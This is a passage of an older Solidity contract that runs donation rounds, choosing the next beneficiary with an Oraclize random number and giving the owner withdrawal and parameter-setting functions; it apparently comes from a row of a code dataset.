state = State.ENDED;
RoundEnded(beneficiary, donationSum);
bytes32 queryId = oraclize_newRandomDSQuery(0, 7, oraclizeCallbackGas);
}
function __callback(bytes32 _queryId, string _result, bytes _proof) onlyOraclize onlyState(State.ENDED) oraclize_randomDS_proofVerify(_queryId, _result, _proof) {
uint randomNumber = uint(sha3(_result));
RandomNumber(randomNumber);
address nextBeneficiary = numDonors == 0 ? owner : donors[randomNumber % numDonors];
startRound(nextBeneficiary);
}
function startNextRound() external payable onlyOwner onlyState(State.ENDED) {
endRoundAndStartNextRound();
}
function deposit() external payable onlyOwner {
}
function withdraw() external onlyOwner {
require(this.balance > retainBalance);
uint amount = this.balance - retainBalance;
owner.transfer(amount);
}
function setNextRoundMaxDonors(uint _nextRoundMaxDonors) external onlyOwner {
nextRoundMaxDonors = _nextRoundMaxDonors;
}
function setNextRoundDuration(uint _nextRoundDuration) external onlyOwner {
nextRoundDuration = _nextRoundDuration;
}
function setNextRoundDonation(uint _nextRoundDonation) external onlyOwner {
nextRoundDonation = _nextRoundDonation;
if (nextRoundFee > nextRoundDonation / maxFeePercentage) {
nextRoundFee = nextRoundDonation / maxFeePercentage;
}
}
function setNextRoundFee(uint _nextRoundFee) external onlyOwner {
require(_nextRoundFee <= nextRoundDonation / maxFeePercentage);
nextRoundFee = _nextRoundFee;
}
function setOraclizeCallbackGas(uint _oraclizeCallbackGas) external onlyOwner {
require(_oraclizeCallbackGas >= oraclizeMinCallbackGas);
oraclizeCallbackGas = _oraclizeCallbackGas;
}
function setOraclizeCallbackGasPrice(uint _oraclizeCallbackGasPrice) public onlyOwner {
require(_oraclizeCallbackGasPrice >= oraclizeMinCallbackGasPrice);
oraclize_setCustomGasPrice(_oraclizeCallbackGasPrice);
}
} | 0 | 1,621 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.